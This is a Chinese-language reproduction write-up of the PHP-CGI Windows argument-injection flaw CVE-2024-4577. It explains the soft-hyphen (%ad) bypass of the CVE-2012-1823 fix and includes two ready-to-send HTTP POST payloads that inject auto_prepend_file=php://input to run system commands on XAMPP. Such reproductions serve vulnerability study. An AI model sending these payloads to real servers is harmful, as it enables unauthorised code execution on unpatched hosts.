PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现
看了一下这个就是CVE-2012-1823 的绕过、但是这个绕过需要是繁体中文、简体中文、日文 这三个的系统。
首先回归一下CVE-2012-1823
https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html
通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:
那么这里是它的一个绕过、那么可以先看看是怎么修改的。
增加了如下的一段代码。
#ifdef PHP_WIN32 if (*p >= 0x80) { wchar_t wide_buf[1]; wide_buf[0] = *p; char char_buf[4]; size_t wide_buf_len = sizeof(wide_buf) / sizeof(wide_buf[0]); size_t char_buf_len = sizeof(char_buf) / sizeof(char_buf[0]); if (WideCharToMultiByte(CP_ACP, 0, wide_buf, wide_buf_len, char_buf, char_buf_len, NULL, NULL) == 0 || char_buf[0] == '-') { skip_getopt = 1; } } #endif
这里是获取到*p 舒服大于0x80 然后通过unicode 字符串 转换为多字节字符串、然后判断是否为-
那么这里可以找找中文字符集编码表
详细的编码对比表:https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt
那么可以把-使用%ad来表示
那么使用XAMPP 来 进行一个测试。
去掉配置文件的注释,让他使用cgi php 调用。
POST /?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1 Host: 192.168.8.67 Content-Type: application/x-www-form-urlencoded Content-Length: 21 <?php system("dir")?>
这里就完成了绕过。成功代码执行。
文章中还提到另外一种RCe 的方式
ScriptAlias /php-cgi/ "C:/xampp/php/"
这种方式的话。我们看看tests 样例
<?php include 'include.inc'; $filename = __DIR__."/GHSA-3qgc-jrrr-25jv_tmp.php"; $script = '<?php echo "hello "; echo "world"; ?>'; file_put_contents($filename, $script); $php = get_cgi_path(); reset_env_vars(); putenv("SERVER_NAME=Test"); putenv("SCRIPT_FILENAME=$filename"); putenv("QUERY_STRING=%ads"); putenv("REDIRECT_STATUS=1"); passthru("$php -s"); ?>
那么首先看看、这里是使用的是-s 那么代表显示代码内容。
然后还有一个选项是REDIRECT_STATUS=1
REDIRECT_STATUS 这个是可以通过header 进行传递的。
那么就只需要在header 头部加入REDIRECT-STATUS:1 即可
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1 Host: 192.168.8.67 REDIRECT-STATUS:1 Content-Type: application/x-www-form-urlencoded Content-Length: 21 <?php system("dir")?>
那么xampp 默认配置也是可以RCE的
现在大多数情况下都是使用的fastcgi 很少有程序会使用php cgi了。
参考:https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/